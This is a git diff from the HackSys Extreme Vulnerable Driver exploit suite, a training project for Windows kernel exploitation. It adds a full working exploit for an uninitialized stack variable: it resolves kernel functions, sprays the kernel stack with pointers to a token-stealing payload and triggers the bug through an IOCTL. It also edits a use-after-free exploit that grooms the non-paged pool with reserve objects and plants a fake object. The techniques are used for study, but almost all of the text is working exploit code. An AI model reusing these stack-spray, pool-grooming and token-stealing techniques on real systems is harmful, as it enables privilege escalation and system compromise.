HACKSYS_EVD_IOCTL_TYPE_CONFUSION, - (LPVOID)pUserTypeConfusionObject, + (LPVOID)UserTypeConfusionObject, sizeof(USER_TYPE_CONFUSION_OBJECT), NULL, 0, - &bytesReturned, + &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); - HeapFree(GetProcessHeap(), 0, (LPVOID)pUserTypeConfusionObject); + HeapFree(GetProcessHeap(), 0, (LPVOID)UserTypeConfusionObject); + + UserTypeConfusionObject = NULL; } __except (EXCEPTION_EXECUTE_HANDLER) { DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError()); diff --git a/Exploit/Source/TypeConfusion.h b/Exploit/Source/TypeConfusion.h index 57d9907..4f1ee61 100644 --- a/Exploit/Source/TypeConfusion.h +++ b/Exploit/Source/TypeConfusion.h @@ -60,6 +60,6 @@ Abstract: ULONG objectType; } USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT; - DWORD WINAPI TypeConfusionThread(LPVOID lpParameter); + DWORD WINAPI TypeConfusionThread(LPVOID Parameter); #endif //__TYPE_CONFUSION_H__ diff --git a/Exploit/Source/UninitializedVariable.c b/Exploit/Source/UninitializedHeapVariable.c similarity index 74% rename from Exploit/Source/UninitializedVariable.c rename to Exploit/Source/UninitializedHeapVariable.c index cfd13c0..a337a90 100644 --- a/Exploit/Source/UninitializedVariable.c +++ b/Exploit/Source/UninitializedHeapVariable.c @@ -39,32 +39,32 @@ THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. See the file 'LICENSE' for complete copying permission. Module Name: - UninitializedVariable.c + UninitializedHeapVariable.c Abstract: This module implements the exploit for Uninitialized - Variable Vulnerability implemented in HackSys Extreme - Vulnerable Driver. + Heap Variable Vulnerability implemented in HackSys + Extreme Vulnerable Driver. --*/ -#include "UninitializedVariable.h" +#include "UninitializedHeapVariable.h" -DWORD WINAPI UninitializedVariableThread(LPVOID lpParameter) { - CONST PTCHAR messageToUsers = - "\t \t\n" - "\t + - + - + - + - + - + - + - + - + - + \t\n" - "\t | C | H | A | L | L | E | N | G | E | \t\n" - "\t + - + - + - + - + - + - + - + - + - + \t\n" - "\t \t\n" - "\t Write the exploit for use of Uninitialized Variable \t\n" - "\t \t\n" - "\t Need Help? \t\n" - "\t \t\n" - "\t ashfaq[at]payatu[dot]com \t\n" - "\t \t\n"; +DWORD WINAPI UninitializedHeapVariableThread(LPVOID Parameter) { + CONST PTCHAR Message = + "\t \t\n" + "\t + - + - + - + - + - + - + - + - + - + \t\n" + "\t | C | H | A | L | L | E | N | G | E | \t\n" + "\t + - + - + - + - + - + - + - + - + - + \t\n" + "\t \t\n" + "\t Write the exploit for use of Uninitialized Heap Variable \t\n" + "\t \t\n" + "\t Need Help? \t\n" + "\t \t\n" + "\t ashfaq[at]payatu[dot]com \t\n" + "\t \t\n"; - DEBUG_ERROR(messageToUsers); + DEBUG_ERROR(Message); return EXIT_FAILURE; } diff --git a/Exploit/Source/UninitializedVariable.h b/Exploit/Source/UninitializedHeapVariable.h similarity index 85% rename from Exploit/Source/UninitializedVariable.h rename to Exploit/Source/UninitializedHeapVariable.h index 21d3440..153411c 100644 --- a/Exploit/Source/UninitializedVariable.h +++ b/Exploit/Source/UninitializedHeapVariable.h @@ -39,22 +39,22 @@ THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. See the file 'LICENSE' for complete copying permission. Module Name: - UninitializedVariable.h + UninitializedHeapVariable.h Abstract: - This module implements the data structures used by - the exploit for Uninitialized Variable Vulnerability + This module implements the data structures used by the + exploit for Uninitialized Heap Variable Vulnerability implemented in HackSys Extreme Vulnerable Driver. --*/ -#ifndef __UNINITIALIZED_VARIABLE_H__ - #define __UNINITIALIZED_VARIABLE_H__ +#ifndef __UNINITIALIZED_HEAP_VARIABLE_H__ + #define __UNINITIALIZED_HEAP_VARIABLE_H__ #pragma once #include "Common.h" - DWORD WINAPI UninitializedVariableThread(LPVOID lpParameter); + DWORD WINAPI UninitializedHeapVariableThread(LPVOID Parameter); -#endif //__UNINITIALIZED_VARIABLE_H__ +#endif //__UNINITIALIZED_HEAP_VARIABLE_H__ diff --git a/Exploit/Source/UninitializedStackVariable.c b/Exploit/Source/UninitializedStackVariable.c new file mode 100644 index 0000000..aa6f1b5 --- /dev/null +++ b/Exploit/Source/UninitializedStackVariable.c @@ -0,0 +1,311 @@ +/*++ + + ## ## ######## ## ## ######## + ## ## ## ## ## ## ## + ## ## ## ## ## ## ## + ######### ###### ## ## ## ## + ## ## ## ## ## ## ## + ## ## ## ## ## ## ## + ## ## ######## ### ######## + + HackSys Extreme Vulnerable Driver Exploit + +Author : Ashfaq Ansari +Contact: ashfaq[at]payatu[dot]com +Website: http://www.payatu.com/ + +Copyright (C) 2011-2016 Payatu Technologies Pvt. Ltd. All rights reserved. + +This program is free software: you can redistribute it and/or modify it under the terms of +the GNU General Public License as published by the Free Software Foundation, either version +3 of the License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; +without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +See the GNU General Public License for more details. + +You should have received a copy of the GNU General Public License along with this program. +If not, see . + +THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED +TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +See the file 'LICENSE' for complete copying permission. + +Module Name: + UninitializedStackVariable.c + +Abstract: + This module implements the exploit for Uninitialized + Stack Variable Vulnerability implemented in HackSys + Extreme Vulnerable Driver. + +--*/ + +#include "UninitializedStackVariable.h" + +VOID ResolveKernelAPIs() { + PCHAR KernelImage; + SIZE_T ReturnLength; + HMODULE hNtDll = NULL; + PVOID HalDispatchTable = NULL; + HMODULE hKernelInUserMode = NULL; + PVOID KernelBaseAddressInKernelMode; + NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; + PSYSTEM_MODULE_INFORMATION pSystemModuleInformation; + + DEBUG_INFO("\t\t[+] Resolving Kernel APIs\n"); + + hNtDll = LoadLibrary("ntdll.dll"); + + if (!hNtDll) { + DEBUG_ERROR("\t\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + + NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation"); + + if (!NtQuerySystemInformation) { + DEBUG_ERROR("\t\t\t[-] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + DEBUG_INFO("\t\t\t[+] NtQuerySystemInformation: 0x%p\n", NtQuerySystemInformation); + } + + NtMapUserPhysicalPages = (NtMapUserPhysicalPages_t)GetProcAddress(hNtDll, "NtMapUserPhysicalPages"); + + if (!NtMapUserPhysicalPages) { + DEBUG_ERROR("\t\t\t[-] Failed Resolving NtMapUserPhysicalPages: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + DEBUG_INFO("\t\t\t[+] NtMapUserPhysicalPages: 0x%p\n", NtMapUserPhysicalPages); + } + + NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength); + + // Allocate the Heap chunk + pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), + HEAP_ZERO_MEMORY, + ReturnLength); + + if (!pSystemModuleInformation) { + DEBUG_ERROR("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + + NtStatus = NtQuerySystemInformation(SystemModuleInformation, + pSystemModuleInformation, + ReturnLength, + &ReturnLength); + + if (NtStatus != STATUS_SUCCESS) { + DEBUG_ERROR("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + + KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base; + KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1; + + hKernelInUserMode = LoadLibraryA(KernelImage); + + if (!hKernelInUserMode) { + DEBUG_ERROR("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + + ZwOpenProcess = (ZwOpenProcess_t)GetProcAddress(hKernelInUserMode, "ZwOpenProcess"); + + if (!ZwOpenProcess) { + DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwOpenProcess: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + ZwOpenProcess = (ZwOpenProcess_t)((ULONG)ZwOpenProcess - (ULONG)hKernelInUserMode); + ZwOpenProcess = (ZwOpenProcess_t)((ULONG)ZwOpenProcess + (ULONG)KernelBaseAddressInKernelMode); + DEBUG_INFO("\t\t\t[+] ZwOpenProcess: 0x%p\n", ZwOpenProcess); + } + + ZwOpenProcessToken = (ZwOpenProcessToken_t)GetProcAddress(hKernelInUserMode, "ZwOpenProcessToken"); + + if (!ZwOpenProcessToken) { + DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwOpenProcessToken: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + ZwOpenProcessToken = (ZwOpenProcessToken_t)((ULONG)ZwOpenProcessToken - (ULONG)hKernelInUserMode); + ZwOpenProcessToken = (ZwOpenProcessToken_t)((ULONG)ZwOpenProcessToken + (ULONG)KernelBaseAddressInKernelMode); + DEBUG_INFO("\t\t\t[+] ZwOpenProcessToken: 0x%p\n", ZwOpenProcess); + } + + ZwDuplicateToken = (ZwDuplicateToken_t)GetProcAddress(hKernelInUserMode, "ZwDuplicateToken"); + + if (!ZwDuplicateToken) { + DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwDuplicateToken: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + ZwDuplicateToken = (ZwDuplicateToken_t)((ULONG)ZwDuplicateToken - (ULONG)hKernelInUserMode); + ZwDuplicateToken = (ZwDuplicateToken_t)((ULONG)ZwDuplicateToken + (ULONG)KernelBaseAddressInKernelMode); + DEBUG_INFO("\t\t\t[+] ZwDuplicateToken: 0x%p\n", ZwDuplicateToken); + } + + PsGetCurrentProcess = (PsGetCurrentProcess_t)GetProcAddress(hKernelInUserMode, "PsGetCurrentProcess"); + + if (!PsGetCurrentProcess) { + DEBUG_ERROR("\t\t\t[-] Failed Resolving PsGetCurrentProcess: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + PsGetCurrentProcess = (PsGetCurrentProcess_t)((ULONG)PsGetCurrentProcess - (ULONG)hKernelInUserMode); + PsGetCurrentProcess = (PsGetCurrentProcess_t)((ULONG)PsGetCurrentProcess + (ULONG)KernelBaseAddressInKernelMode); + DEBUG_INFO("\t\t\t[+] PsGetCurrentProcess: 0x%p\n", PsGetCurrentProcess); + } + + ZwSetInformationProcess = (ZwSetInformationProcess_t)GetProcAddress(hKernelInUserMode, "ZwSetInformationProcess"); + + if (!ZwSetInformationProcess) { + DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwSetInformationProcess: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + ZwSetInformationProcess = (ZwSetInformationProcess_t)((ULONG)ZwSetInformationProcess - (ULONG)hKernelInUserMode); + ZwSetInformationProcess = (ZwSetInformationProcess_t)((ULONG)ZwSetInformationProcess + (ULONG)KernelBaseAddressInKernelMode); + DEBUG_INFO("\t\t\t[+] ZwSetInformationProcess: 0x%p\n", ZwSetInformationProcess); + } + + ZwClose = (ZwClose_t)GetProcAddress(hKernelInUserMode, "ZwClose"); + + if (!ZwClose) { + DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwClose: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + ZwClose = (ZwClose_t)((ULONG)ZwClose - (ULONG)hKernelInUserMode); + ZwClose = (ZwClose_t)((ULONG)ZwClose + (ULONG)KernelBaseAddressInKernelMode); + DEBUG_INFO("\t\t\t[+] ZwClose: 0x%p\n", ZwClose); + } + + HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation); + + if (hNtDll) { + FreeLibrary(hNtDll); + } + + if (hKernelInUserMode) { + FreeLibrary(hKernelInUserMode); + } + + hNtDll = NULL; + hKernelInUserMode = NULL; + pSystemModuleInformation = NULL; +} + +DWORD WINAPI UninitializedStackVariableThread(LPVOID Parameter) { + UINT32 i = 0; + ULONG BytesReturned; + HANDLE hFile = NULL; + HMODULE hModule = NULL; + ULONG MagicValue = 0xBAADF00D; + PULONG StackSprayBuffer = NULL; + LPCSTR FileName = (LPCSTR)DEVICE_NAME; + NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; + PVOID EopPayload = &TokenStealingPayloadDuplicateToken; + SIZE_T StackSprayBufferSize = 1024 * sizeof(ULONG_PTR); + + __try { + DEBUG_MESSAGE("\t[+] Setting Thread Priority\n"); + + if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) { + DEBUG_ERROR("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n"); + } + else { + DEBUG_INFO("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n"); + } + + // Get the device handle + DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); + DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); + + hFile = GetDeviceHandle(FileName); + + if (hFile == INVALID_HANDLE_VALUE) { + DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile); + } + + DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n"); + + DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n"); + + StackSprayBuffer = (PULONG)HeapAlloc(GetProcessHeap(), + HEAP_ZERO_MEMORY, + StackSprayBufferSize); + + if (!StackSprayBuffer) { + DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + else { + DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", StackSprayBuffer); + DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", StackSprayBufferSize); + } + + DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n"); + + for(i = 0; i < StackSprayBufferSize / sizeof(ULONG_PTR); i++) { + StackSprayBuffer[i] = (ULONG)EopPayload; + } + + DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload); + + ResolveKernelAPIs(); + + DEBUG_INFO("\t\t[+] Spraying the Kernel Stack\n"); + DEBUG_MESSAGE("\t[+] Triggering Use of Uninitialized Stack Variable\n"); + + OutputDebugString("****************Kernel Mode****************\n"); + + // HackSys Extreme Vulnerable driver itself provides a decent interface + // to spray the stack using Stack Overflow vulnerability. However, j00ru + // on his blog disclosed a Windows API that can be used to spray stack up to + // 1024*sizeof(ULONG_PTR) bytes (http://j00ru.vexillium.org/?p=769). Since, + // it's a Windows API and available on Windows by default, I decided to use + // it instead of this driver's Stack Overflow interface. + NtMapUserPhysicalPages(NULL, 1024, StackSprayBuffer); + + // Kernel Stack should not be used for anything else as it + // will corrupt the current sprayed state. So, we will directly + // trigger the vulnerability without putting any Debug prints. + DeviceIoControl(hFile, + HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE, + (LPVOID)&MagicValue, + 0, + NULL, + 0, + &BytesReturned, + NULL); + + OutputDebugString("****************Kernel Mode****************\n"); + + HeapFree(GetProcessHeap(), 0, (LPVOID)StackSprayBuffer); + + StackSprayBuffer = NULL; + } + __except (EXCEPTION_EXECUTE_HANDLER) { + DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError()); + exit(EXIT_FAILURE); + } + + return EXIT_SUCCESS; +} diff --git a/Driver/Source/UninitializedVariable.h b/Exploit/Source/UninitializedStackVariable.h similarity index 78% rename from Driver/Source/UninitializedVariable.h rename to Exploit/Source/UninitializedStackVariable.h index 51c3295..1e1d648 100644 --- a/Driver/Source/UninitializedVariable.h +++ b/Exploit/Source/UninitializedStackVariable.h @@ -8,7 +8,7 @@ ## ## ## ## ## ## ## ## ## ######## ### ######## - HackSys Extreme Vulnerable Driver + HackSys Extreme Vulnerable Driver Exploit Author : Ashfaq Ansari Contact: ashfaq[at]payatu[dot]com @@ -39,27 +39,23 @@ THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. See the file 'LICENSE' for complete copying permission. Module Name: - UninitializedVariable.h + UninitializedStackVariable.h Abstract: - This module implements the data structures for - Uninitialized Variable module. + This module implements the data structures used by the + exploit for Uninitialized Stack Variable Vulnerability + implemented in HackSys Extreme Vulnerable Driver. --*/ -#ifndef __UNINITIALIZED_VARIABLE_H__ - #define __UNINITIALIZED_VARIABLE_H__ +#ifndef __UNINITIALIZED_STACK_VARIABLE_H__ + #define __UNINITIALIZED_STACK_VARIABLE_H__ #pragma once #include "Common.h" - typedef struct _UNINITIALIZED_VARIABLE { - ULONG Value; - FunctionPointer Callback; - } UNINITIALIZED_VARIABLE, *PUNINITIALIZED_VARIABLE; + VOID ResolveKernelAPIs(); + DWORD WINAPI UninitializedStackVariableThread(LPVOID Parameter); - VOID UninitializedVariableObjectCallback(); - NTSTATUS TriggerUninitializedVariable(IN PVOID UserBuffer); - -#endif //__UNINITIALIZED_VARIABLE_H__ +#endif //__UNINITIALIZED_STACK_VARIABLE_H__ diff --git a/Exploit/Source/UseAfterFree.c b/Exploit/Source/UseAfterFree.c index 200851b..a3a41dd 100644 --- a/Exploit/Source/UseAfterFree.c +++ b/Exploit/Source/UseAfterFree.c @@ -53,7 +53,7 @@ Abstract: VOID SprayNonPagedPoolWithReserveObjects() { UINT32 i = 0; HMODULE hModule = NULL; - NTSTATUS ntStatus = STATUS_UNSUCCESSFUL; + NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; hModule = LoadLibraryA("ntdll.dll"); @@ -69,20 +69,22 @@ VOID SprayNonPagedPoolWithReserveObjects() { exit(EXIT_FAILURE); } - RtlFillMemory(hReserveObjectArrayA, sizeof(hReserveObjectArrayA), 0x0); - RtlFillMemory(hReserveObjectArrayB, sizeof(hReserveObjectArrayB), 0x0); + RtlFillMemory(ReserveObjectArrayA, sizeof(ReserveObjectArrayA), 0x0); + RtlFillMemory(ReserveObjectArrayB, sizeof(ReserveObjectArrayB), 0x0); for (i = 0; i < 10000; i++) { - ntStatus = NtAllocateReserveObject(&hReserveObjectArrayA[i], 0, IO_COMPLETION_OBJECT); - if (ntStatus != STATUS_SUCCESS) { + NtStatus = NtAllocateReserveObject(&ReserveObjectArrayA[i], 0, IO_COMPLETION_OBJECT); + + if (NtStatus != STATUS_SUCCESS) { DEBUG_ERROR("\t\t[-] Failed To Allocate Reserve Objects: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } } for (i = 0; i < 5000; i++) { - ntStatus = NtAllocateReserveObject(&hReserveObjectArrayB[i], 0, IO_COMPLETION_OBJECT); - if (ntStatus != STATUS_SUCCESS) { + NtStatus = NtAllocateReserveObject(&ReserveObjectArrayB[i], 0, IO_COMPLETION_OBJECT); + + if (NtStatus != STATUS_SUCCESS) { DEBUG_ERROR("\t\t[-] Failed To Allocate Reserve Objects: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } @@ -93,7 +95,7 @@ VOID CreateHolesInNonPagedPoolByClosingReserveObjects() { UINT32 i = 0; for (i = 0; i < 5000; i += 2) { - if (!CloseHandle(hReserveObjectArrayB[i])) { + if (!CloseHandle(ReserveObjectArrayB[i])) { DEBUG_ERROR("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } @@ -104,27 +106,27 @@ VOID FreeReserveObjects() { UINT32 i = 0; for (i = 0; i < 10000; i++) { - if (!CloseHandle(hReserveObjectArrayA[i])) { + if (!CloseHandle(ReserveObjectArrayA[i])) { DEBUG_ERROR("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } } for (i = 1; i < 5000; i +=2) { - if (!CloseHandle(hReserveObjectArrayB[i])) { + if (!CloseHandle(ReserveObjectArrayB[i])) { DEBUG_ERROR("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } } } -DWORD WINAPI UseAfterFreeThread(LPVOID lpParameter) { +DWORD WINAPI UseAfterFreeThread(LPVOID Parameter) { UINT32 i = 0; HANDLE hFile = NULL; - ULONG bytesReturned; - PFAKE_OBJECT pFakeObject = NULL; - LPCSTR lpFileName = (LPCSTR)DEVICE_NAME; - PVOID pEopPayload = &TokenStealingPayloadWin7Generic; + ULONG BytesReturned; + PFAKE_OBJECT FakeObject = NULL; + LPCSTR FileName = (LPCSTR)DEVICE_NAME; + PVOID EopPayload = &TokenStealingPayloadWin7Generic; __try { DEBUG_MESSAGE("\t[+] Setting Thread Priority\n"); @@ -138,9 +140,9 @@ DWORD WINAPI UseAfterFreeThread(LPVOID lpParameter) { // Get the device handle DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); - DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName); + DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); - hFile = GetDeviceHandle(lpFileName); + hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); @@ -155,31 +157,31 @@ DWORD WINAPI UseAfterFreeThread(LPVOID lpParameter) { DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n"); // Allocate the Heap chunk - pFakeObject = (PFAKE_OBJECT)HeapAlloc(GetProcessHeap(), - HEAP_ZERO_MEMORY, - sizeof(FAKE_OBJECT)); + FakeObject = (PFAKE_OBJECT)HeapAlloc(GetProcessHeap(), + HEAP_ZERO_MEMORY, + sizeof(FAKE_OBJECT)); - if (!pFakeObject) { + if (!FakeObject) { DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", pFakeObject); + DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", FakeObject); DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", sizeof(FAKE_OBJECT)); } DEBUG_INFO("\t\t[+] Preparing FAKE_OBJECT structure\n"); - RtlFillMemory((PVOID)pFakeObject, sizeof(FAKE_OBJECT), 0x41); + RtlFillMemory((PVOID)FakeObject, sizeof(FAKE_OBJECT), 0x41); - pFakeObject->buffer[sizeof(pFakeObject->buffer) - 1] = '\0'; - *(PULONG)pFakeObject = (ULONG)pEopPayload; + FakeObject->buffer[sizeof(FakeObject->buffer) - 1] = '\0'; + *(PULONG)FakeObject = (ULONG)EopPayload; - DEBUG_INFO("\t\t\t[+] pFakeObject Value: 0x%p\n", *(PULONG)pFakeObject); - DEBUG_INFO("\t\t\t[+] pFakeObject Address: 0x%p\n", pFakeObject); + DEBUG_INFO("\t\t\t[+] FakeObject Value: 0x%p\n", *(PULONG)FakeObject); + DEBUG_INFO("\t\t\t[+] FakeObject Address: 0x%p\n", FakeObject); DEBUG_INFO("\t\t\t[+] FAKE_OBJECT Size: 0x%X\n", sizeof(FAKE_OBJECT)); - DEBUG_INFO("\t\t\t[+] EoP Payload: 0x%p\n", pEopPayload); + DEBUG_INFO("\t\t\t[+] EoP Payload: 0x%p\n", EopPayload); DEBUG_INFO("\t\t[+] Preparing NonPaged Kernel Pool Layout\n"); @@ -202,7 +204,7 @@ DWORD WINAPI UseAfterFreeThread(LPVOID lpParameter) { 0, NULL, 0, - &bytesReturned, + &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); @@ -217,7 +219,7 @@ DWORD WINAPI UseAfterFreeThread(LPVOID lpParameter) { 0, NULL, 0, - &bytesReturned, + &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); @@ -230,11 +232,11 @@ DWORD WINAPI UseAfterFreeThread(LPVOID lpParameter) { for (i = 0; i < 0x1000; i++) { DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_CREATE_FAKE_OBJECT, - (LPVOID)pFakeObject, + (LPVOID)FakeObject, 0, NULL, 0, - &bytesReturned, + &BytesReturned, NULL); } @@ -254,12 +256,14 @@ DWORD WINAPI UseAfterFreeThread(LPVOID lpParameter) { 0, NULL, 0, - &bytesReturned, + &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); - HeapFree(GetProcessHeap(), 0, (LPVOID)pFakeObject); + HeapFree(GetProcessHeap(), 0, (LPVOID)FakeObject); + + FakeObject = NULL; } __except (EXCEPTION_EXECUTE_HANDLER) { DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError()); diff --git a/Exploit/Source/UseAfterFree.h b/Exploit/Source/UseAfterFree.h index 0d6f396..ac33bd2 100644 --- a/Exploit/Source/UseAfterFree.h +++ b/Exploit/Source/UseAfterFree.h @@ -55,16 +55,18 @@ Abstract: #include "Common.h" + #define IO_COMPLETION_OBJECT 1 + typedef struct _FAKE_OBJECT { CHAR buffer[0x58]; } FAKE_OBJECT, *PFAKE_OBJECT; - HANDLE hReserveObjectArrayA[10000]; - HANDLE hReserveObjectArrayB[5000]; + HANDLE ReserveObjectArrayA[10000]; + HANDLE ReserveObjectArrayB[5000]; VOID FreeReserveObjects(); VOID SprayNonPagedPoolWithReserveObjects(); - DWORD WINAPI UseAfterFreeThread(LPVOID lpParameter); + DWORD WINAPI UseAfterFreeThread(LPVOID Parameter); VOID CreateHolesInNonPagedPoolByClosingReserveObjects(); #endif //__USE_AFTER_FREE_H__